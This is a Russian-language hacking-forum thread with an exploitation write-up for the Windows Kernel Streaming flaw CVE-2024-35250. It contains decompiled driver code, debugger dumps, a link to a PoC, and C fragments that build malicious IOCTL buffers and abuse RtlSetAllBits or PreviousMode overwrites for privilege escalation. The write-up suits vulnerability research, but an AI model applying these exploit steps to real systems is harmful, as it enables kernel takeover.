• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Streaming vulnerabilities from Windows Kernel

varwar

El Diff
Забанен
Регистрация
12.11.2020
Сообщения
1 383
Решения
5
Реакции
1 537
Пожалуйста, обратите внимание, что пользователь заблокирован
Over the past few decades, vulnerabilities in the Windows Kernel have emerged frequently. The popular attack surface has gradually shifted from Win32k to CLFS (Common Log File System). Microsoft has continuously patched these vulnerabilities, making these targets increasingly secure. However, which component might become the next attack target? Last year, MSKSSRV (Microsoft Kernel Streaming Service) became a popular target for hackers. This research will discuss an overlooked attack surface that allowed us to find more than ten vulnerabilities within two months.

Part1: https://devco.re/blog/2024/08/23/st...m-windows-kernel-proxying-to-kernel-part1-en/

Опять "Untrusted Pointer Dereference" подобно баге в appid.sys, что была в нашем конкурсе. Если вы по какой-то причине не успели тогда поучаствовать, то можете попробовать написать 1-day для этой уязвимости, а для остальных - это возможность закрепить материал (обход kCFG) и узнать что-то новое.


Part2: https://devco.re/blog/2024/10/05/st...m-windows-kernel-proxying-to-kernel-part2-en/

Думаю многим понравится часть с получением SeDebugPrivilege через arbitrary increment.

Если вдруг решите окунать голову в это болото, то для исследования работы этой подсистемы есть утилита KsStudio, о которой нигде не слышал и наткнулся чисто случайно. Поставляется с WDK и на мой взгляд информативна - дополняет статью и документацию.

1727640984345.png


Посмотрите обязательно как ребята вышли из затруднительного положения при эксплуатации arbitrary increment во второй части.

Если коротко, то они переписали значение переменной SeDebugPrivilege в секции PAGEDATA с 0x14 на 0x17.

Код:
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeLockMemoryPrivilege         Lock pages in memory                 Disabled
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Собственно, это позволило непривилегированному пользователю, имеющему по дефолту права SeChangeNotifyPrivilege пройти проверку в PsOpenProcess и повыситься.


1728229435824.png
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Опять же если кому-то интересно пореверсить уязвимость из первой части, то написал PoC - https://github.com/varwara/CVE-2024-35250
Ждем еще третью часть этого эпоса.
 
I don't use Windows and i don't know if I ever heard of this driver: MSKSSRV. It feels like every time I try to read a Windows vuln-research write up, the blogposts would often open with such sentences: "overlooked attack surface", "driver, component no one even knew existed", "legacy component".
 
Пожалуйста, обратите внимание, что пользователь заблокирован
"overlooked attack surface", "driver, component no one even knew existed", "legacy component".
True, I saw a few those things. About kernel streaming stuff learned about 1,5 years ago for the first time while reading windows XP sources (direct show), but documentation was overwhelming and examples of usage are few. Even with this paper I spent some time to figure out how to find a valid device to make request and build a valid one. The bug itself is awesome, controlled kernel function pointer and the argument to it. Just a diamond, easy to exploit compared to memory corruption bugs and very reliable. This is those rare moment when you feel boner after shit is done.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Заметка по реверсу и эксплойту для CVE-2024-35250

Уязвимость была обнаружена Angelboy из DEVCORE, продемонстрирована на Pwn2Own Vancouver 2024 и описана в блоге компании в рамках одного большого исследования, посвященного логическим уявимостям в Kernel Streaming. Из данного источника об уязвимости было известно следующее.
1. Уязвимость CWE-822: Untrusted Pointer Dereference
2. Работа ограничена в среде Hyper-V
3. Уязвимая функция UnserializePropertySet
4. Непрямой вызов происходит в функции CKSThunkDevice::CheckIrpForStackAdjustmentNative
Несмотря на кажущуюся простоту, написание эксплойта потребовало дополнительного реверс-инжиниринга и чтения документации для технологии Kernel Streaming.

Код:
1: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffea85`d3bdb1e8 fffff806`8b711f74     ksthunk!CKSThunkDevice::CheckIrpForStackAdjustmentNative
01 ffffea85`d3bdb1f0 fffff806`8b7113c6     ksthunk!CKSThunkDevice::DispatchIoctl+0xc4
02 ffffea85`d3bdb230 fffff806`8b711133     ksthunk!CKernelFilterDevice::DispatchIrp+0xa6
03 ffffea85`d3bdb290 fffff806`802cb875     ksthunk!CKernelFilterDevice::DispatchIrpBridge+0x13
04 ffffea85`d3bdb2c0 fffff806`8bf2a15a     nt!IofCallDriver+0x55
05 ffffea85`d3bdb300 fffff806`8bf04a41     ks!KsSynchronousIoControlDevice+0x11a
06 ffffea85`d3bdb3a0 fffff806`8bf1e32b     ks!UnserializePropertySet+0x165
07 ffffea85`d3bdb420 fffff806`8bf1d8de     ks!KspPropertyHandler+0x6db
08 ffffea85`d3bdb490 fffff806`8bf1d0f7     ks!KspHandleAutomationIoControl+0xce
09 ffffea85`d3bdb530 fffff806`8bed5fca     ks!KsDispatchIrp+0xf7
0a ffffea85`d3bdb5f0 fffff806`802cb875     ks!CKsDevice::PassThroughIrp+0x6a
0b ffffea85`d3bdb630 fffff806`8b711415     nt!IofCallDriver+0x55
0c ffffea85`d3bdb670 fffff806`8b711133     ksthunk!CKernelFilterDevice::DispatchIrp+0xf5
0d ffffea85`d3bdb6d0 fffff806`802cb875     ksthunk!CKernelFilterDevice::DispatchIrpBridge+0x13
0e ffffea85`d3bdb700 fffff806`806c2c70     nt!IofCallDriver+0x55
0f ffffea85`d3bdb740 fffff806`806c123c     nt!IopSynchronousServiceTail+0x1d0
10 ffffea85`d3bdb7f0 fffff806`806bf516     nt!IopXxxControlFile+0x72c
11 ffffea85`d3bdba00 fffff806`8043d1e5     nt!NtDeviceIoControlFile+0x56
12 ffffea85`d3bdba70 00007ffb`afe2eee4     nt!KiSystemServiceCopyEnd+0x25
13 00000001`9b7cfb08 00007ffb`ad1ebc5b     ntdll!NtDeviceIoControlFile+0x14
14 00000001`9b7cfb10 00007ffb`aefc27f1     KERNELBASE!DeviceIoControl+0x6b
15 00000001`9b7cfb80 00007ff6`e70e1b0a     KERNEL32!DeviceIoControlImplementation+0x81
16 00000001`9b7cfbd0 000001a6`5f3dde70     CVE_2024_35250+0x1b0a

На листинге ниже изображен псевдокод функции UnserializePropertySet, который отчасти дает представление о данных, которые мы должны передать драйверу для вызова уязвимости.

C:
NTSTATUS __fastcall UnserializePropertySet(PIRP irp, PKSPROPERTY proprety, KSPROPERTY_SET *property_set)
{
  if ( proprety->Id ) // 1. Property Id should be null
    return STATUS_INVALID_PARAMETER;
  system_buffer = (KSPROPERTY_SERIALHDR *)irp->AssociatedIrp.SystemBuffer;
  current_stack_location = irp->Tail.Overlay.CurrentStackLocation;
  in_size = current_stack_location->Parameters.DeviceIoControl.InputBufferLength;
  out_buf_len = current_stack_location->Parameters.DeviceIoControl.OutputBufferLength;
  new_ksproperty_req = (KSIDENTIFIER *)ExAllocatePoolWithTag(NonPagedPoolNx, in_size, 'ppSK');
  if ( !new_ksproperty_req )
    return STATUS_INSUFFICIENT_RESOURCES;
  if ( out_buf_len < sizeof(KSPROPERTY_SERIALHDR) )// 2. Output buffer size should be present and valid
  {
inval_buf_size:
    ExFreePoolWithTag(new_ksproperty_req, 0);
    return STATUS_INVALID_BUFFER_SIZE;
  }
  else
  {
    if (property_set->Set->Data1 != system_buffer->PropertySet.Data1 ||
            property_set->Set->Data4 != system_buffer->PropertySet.Data4 )  // 3. Compare property GUID
    {
inval_param:
      ExFreePoolWithTag(new_ksproperty_req, 0);
      return STATUS_INVALID_PARAMETER;
    }
    memmove(new_ksproperty_req, current_stack_location->Parameters.DeviceIoControl.Type3InputBuffer, in_size);
    new_ksproperty_req->Flags = KSPROPERTY_TYPE_SET;
    count = system_buffer->Count;
    serial_data = (KSPROPERTY_SERIAL *)&system_buffer[1];
    serial_data_size_with_header = out_buf_len - sizeof(KSPROPERTY_SERIALHDR);
    while ( serial_data_size_with_header && count )
    {
      if ( serial_data_size_with_header < sizeof(KSPROPERTY_SERIAL) )
        goto inval_buf_size;
      if ( serial_data->PropTypeSet.Flags )     // 4. Should be null
        goto inval_param;
      new_ksproperty_req->Id = serial_data->Id;
      property_data_size = serial_data_size_with_header - sizeof(KSPROPERTY_SERIAL);
      property_data = serial_data + 1;
      out_size = serial_data->PropertyLength;
      if ( out_size > property_data_size )
        goto inval_buf_size;
      status = KsSynchronousIoControlDevice( // 5. Calling function with RequestorMode = KernelMode
                 current_stack_location->FileObject,
                 KernelMode,
                 current_stack_location->Parameters.DeviceIoControl.IoControlCode,
                 new_ksproperty_req,
                 in_size,
                 property_data,
                 out_size,
                 &bytes_returned);
      if ( status < 0 )
      {
        ExFreePoolWithTag(new_ksproperty_req, 0);
        return status;
      }
      // Skipped
}
Листинг 1 - Фрагмент псевдокода функции UnserializePropertyset

Логическая уязвимость заключается в некорректном установлении значения RequestorMode для Irp при вызове функции KsSynchronousIoControlDevice.

C:
NTSTATUS __stdcall KsSynchronousIoControlDevice(
        PFILE_OBJECT FileObject,
        KPROCESSOR_MODE RequestorMode, // 1. KernelMode
        ULONG IoControl,
        PVOID InBuffer,
        ULONG InSize,
        PVOID OutBuffer,
        ULONG OutSize,
        PULONG BytesReturned)
{
    // Skipped
    Irp = IoBuildDeviceIoControlRequest(
        IoControl,
        RelatedDeviceObject,
        InBuffer,
        InSize,
        OutBuffer,
        OutSize,
        0,
        &Event,
        &IoStatusBlock);

    if ( !Irp )
        return STATUS_INSUFFICIENT_RESOURCES;

    Irp->RequestorMode = RequestorMode; // 2. Irp RequestorMode initialization
    status = IofCallDriver(RelatedDeviceObject, Irp);
}
Листинг 2 - Фрагмент псевдокода функции KsSynchronousIoControlDevice

При инциализации Irp в IoBuildDeviceIoControlRequest поле RequestorMode по умолчанию устанавливается как KernelMode.
Далее оно еще раз инициализируется как KernelMode и это проблема, т.к. в дальнейшем при вызове IofCallDriver драйвер будет оперировать недоверенными указателями, а проверки на RequestorMode будут опущены.

Код:
3: kd> dt nt!_IRP @rax
   +0x000 Type             : 0n6
   +0x002 Size             : 0x358
   +0x004 AllocationProcessorNumber : 3
   +0x006 Reserved         : 0
   +0x008 MdlAddress       : (null)
   +0x010 Flags            : 0x60000
   +0x018 AssociatedIrp    : <unnamed-tag>
   +0x020 ThreadListEntry  : _LIST_ENTRY [ 0xffff800b`ea7cd3b0 - 0xffff800b`e970e580 ]
   +0x030 IoStatus         : _IO_STATUS_BLOCK
   +0x040 RequestorMode    : 0 ''
Листинг 3 - Поле RequestorMode установлено как 0 после вызова IoBuildDeviceIoControlRequest

После вызова IofCallDriver мы попадаем в обработчик IOCTL CKSThunkDevice::DispatchIoctl, где происходит валидация запроса, IOCTL из входящих параметров IRP и вызов обработчика CKSThunkDevice::CheckIrpForStackAdjustmentNative

C:
BOOL __fastcall CKSThunkDevice::DispatchIoctl(
        CKernelFilterDevice *FilterDevice,
        IRP *Irp,
        unsigned int a3,
        int *a4)

{
  if ( IoIs32bitProcess(Irp) && Irp->RequestorMode ) // 1. RequestorMode = KernelMode
  {
      // Skipped
  }
        else if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode == IOCTL_KS_PROPERTY )
  {
    return CKSThunkDevice::CheckIrpForStackAdjustmentNative(FilterDevice, Irp, a4);
  }
}
Листинг 4 - Псевдокод функции CKSThunkDevice::DispatchIoctl

Здесь цепочка уязвимости завершается. И снова, все проверки на RequestorMode опускаются и происходит непрямой вызов по недоверенному указателю, который мы контролируем во входящем буфере, также как и первый аргумент при условии, что InputBufferLenth >= 0x18.

C:
NTSTATUS __usercall CKSThunkDevice::CheckIrpForStackAdjustmentNative@<eax>(
        __int64 vftable@<rcx>,
        struct _IRP *Irp@<rdx>,
        int *a4@<r9>)
{
  InputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;

  if ( InputBufferLength >= 0x18 )
  {
    if ( Irp->RequestorMode )                   // 1. Check bypassed
      ProbeForRead(CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer, InputBufferLength, 1u);
    Type3InputBuffer = CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer;

    if ( *Type3InputBuffer == GUID_2f2c8ddd_4198_4fac_ba29_61bb05b7de06 // 2. KSPROPSETID_DrmAudioStream
      && !flags
      && (flags & 0x200000000i64) != 0 )        // KSPROPERTY_TYPE_SET = 0x2
    {
      if ( Irp->RequestorMode )                 // 3. Check bypassed
      {
        status = STATUS_INVALID_DEVICE_REQUEST;
      }
      else
      {
        UserBuffer = Irp->UserBuffer;
      }
      // 4. Arbitrary Pointer Dereference
      status = (*(Type3InputBuffer + 0x38))(LODWORD(UserBuffer->FakeBitmap), 0i64, UnkArr);
    }
  }
}
Листинг 5 - Псевдокод функции CKSThunkDevice::CheckIrpForStackAdjustmentNative

Немаловажной деталью здесь является проверка с KSPROPSETID_DrmAudioStream. Устройство, которому мы будем посылать запрос должно поддерживать этот набор свойств. Как узнать описатель какого устройства мы должны получить? Есть два неочевидных способа.
1. Программно через функцию KsOpenDefaultDevice c KSCATEGORY_DRM_DESCRAMBLE
2. Найти полное имя устройства через утилиту KsStudio

C:
    const GUID categories[] = {
        KSCATEGORY_DRM_DESCRAMBLE,
    };
 
    //
    // Get a KS object device with ksproxy.ax API
    //
    for (int i = 0; i < sizeof(categories) / sizeof(categories[0]); i++)
    {
        hr = KsOpenDefaultDevice(categories[i], GENERIC_READ | GENERIC_WRITE, &hDrmDevice);

        if (hr != NOERROR) {
            printf("[-] KsOpenDefaultDevice at index %d failed with error = %x\n", i, hr);
            return hr;
        }

        printf("[+] DRM device handle value = %p\n", hDrmDevice);
    }
Листинг 6 - Получение описателя устройства с набором свойств KSPROPSETID_DrmAudioStream

Не обращайте внимание на цикл. Это рудимент от попыток сбрутфорсить корректный девайс для триггера уязвимости.

KsStudio имеет графический интерфейс и позволяет получить большое количество информации об устройствах, логгировать IRP и т.д. Категорий устройств, содержащих в своем названии DRM было не так много - всего одно.
35250_5.png

Рисунок 1 - Интерфейс утилиты KsStudio

35250_6.png

Рисунок 2 - Интерфейс утилиты KsStudio


На рисунке ниже утилита показывает какой набор свойств поддерживает устройство. Это устройство и будет целью при эксплуатации.
35250_7.png

Рисунок 3 - Интерфейс утилиты KsStudio

Полное имя устройства, которому необходимо передать запрос - \\?\root#system#0000#{ffbb6e3f-ccfe-4d84-90d9-421418b03a8e}\{eec12db6-ad9c-4168-8658-b03daef417fe}&{abd61e00-9350-47e2-a632-4438b90c6641}. Получить описатель устройства можно напрямую через CreateFileW или, как упоминалось ранее, через KsOpenDefaultDevice.
Вернемся к псевдокоду фукнции UnserializePropertySet. В SystemBuffer хранятся данные не из входящего буфера, как это бывает зачастую. Перед вызовом UnserializePropertySet данные в SystemBuffer копируются из исходящего буфера.

C:
CopyOutputUserBuffer:
    if ( OutputBufferLength )
    {
      if ( Irp->RequestorMode )
        ProbeForRead(Irp->UserBuffer, OutputBufferLength, 1u);
      memmove(Irp->AssociatedIrp.SystemBuffer, Irp->UserBuffer, OutputBufferLength);
    }

if ( KsProperty_flag == KSPROPERTY_TYPE_UNSERIALIZESET )
  return UnserializePropertySet(Irp, Property, PropertySet);
Листинг 7 - Фрагмент псевдокода функции KspPropertyHandler

Для запроса с флагом свойства KSPROPERTY_TYPE_UNSERIALIZESET валидный исходящий и входящий буферы должны выглядеть следующим образом.

xss1.png

Рисунок 3 - Структура буферов UnserializePropertySetRequest и InBuffer

Структура буфера сериализации.
1. Заголовок KSPROPERTY_SERIALHDR
2. Набор свойств для сериализации KSPROPERTY_SERIAL
3. Какие-то данные

C:
    //
    // Initialize output buffer
    //
    pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream;
    pSerialHdr->Count = 0x1;

    pSerial->PropertyLength = sizeof(EXPLOIT_DATA1);
    pSerial->Id = 0x0;                // Should be null
    pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream;
    pSerial->PropTypeSet.Flags = 0x0; // Should be null
    pSerial->PropTypeSet.Id = 0x45;   // Irrelevant value
 
    //
    // Intialize fake property data
    //
    pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap(sizeof(RTL_BITMAP), ULongLongToPtr64(0x10000000));
Листинг 8 - Инициализация UnserializePropertySetRequest

Структура входящего буфера.
1. Структура KSPROPERTY
2. Какие-то данные

C:
    //
    // Initialize input buffer
    //
    pInBufProperty->Set = KSPROPSETID_DrmAudioStream;
    pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET;
    pInBufProperty->Id = 0x0;
Листинг 9 - Инициализация InBuffer

То, как будут инициализироваться поля структур EXPLOIT_DATA1, EXPLOIT_DATA2 во входящем и исходящем буфере зависит от того, какую технику для повышения привилегий мы будем использовать.
Нам снова необходимо найти гаджеты для обхода kCFG. В оригинальном исследовании Angelboy использовал гаджет RtlSetAllBits для перезаписи SEP_TOKEN_PRIVILEGES для текущего токена.
Для разнообразия была добавлена поддержка перезаписи PreviousMode и гаджет RtlClearAllBits.

C:
#ifdef _SEP_TOKEN_PRIVILEGES
    //
    // FakeBitmap initialization for the overwriting TOKEN.Privileges fields technique
    //
    // It should be (0x20 * n) to overwrite (n/2 * 0x8) bytes at arbitrary address
    pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 * 4;
    pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(ktoken_obj + TOKEN_PRIV_WIN_11_22H2_22621);
    pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlSetAllBits"));                                                                                                       
    printf("[!] RtlSetAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#elif defined _PREVIOUS_MODE
    //
    // FakeBitmap initialization for the overwriting KTHREAD.PreviousMode field technique
    //
    pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20;
    pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621);
    pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlClearAllBits"));
    printf("[!] RtlClearAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#endif
Листинг 10 - Инициализация FakeBitmap и ptr_ArbitraryFunCall

Поле FakeBitmap описывается структурой RTL_BITMAP и содержит два поля - SizeOfBitMap и указатель Buffer. Т.к. мы полностью контролируем содержимое структуры, то можем осуществить запись по произвольному адресу в Buffer.

C:
typedef struct _RTL_BITMAP
{
    DWORD SizeOfBitMap;
    PVOID Buffer;
}RTL_BITMAP, *PRTL_BITMAP;
Листинг 11 - Структура RTL_BITMAP

По итогу при корректном вызове DeviceIoControl суммарно 10 проверок должно быть удовлетворено, не считая указания валидных гаджетов. Основная сложность заключалась в том, что мне никак не удавалось подловить отладчиком вызовы UnserializePorpertySet и большую часть анализа пришлось выполнять в статике.

P.S. Была добавлена эксплуатация CVE-2024-30084. Код больше не имеет ограничений работы в среде Hyper-V. На этом скорее всего всё. :)
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх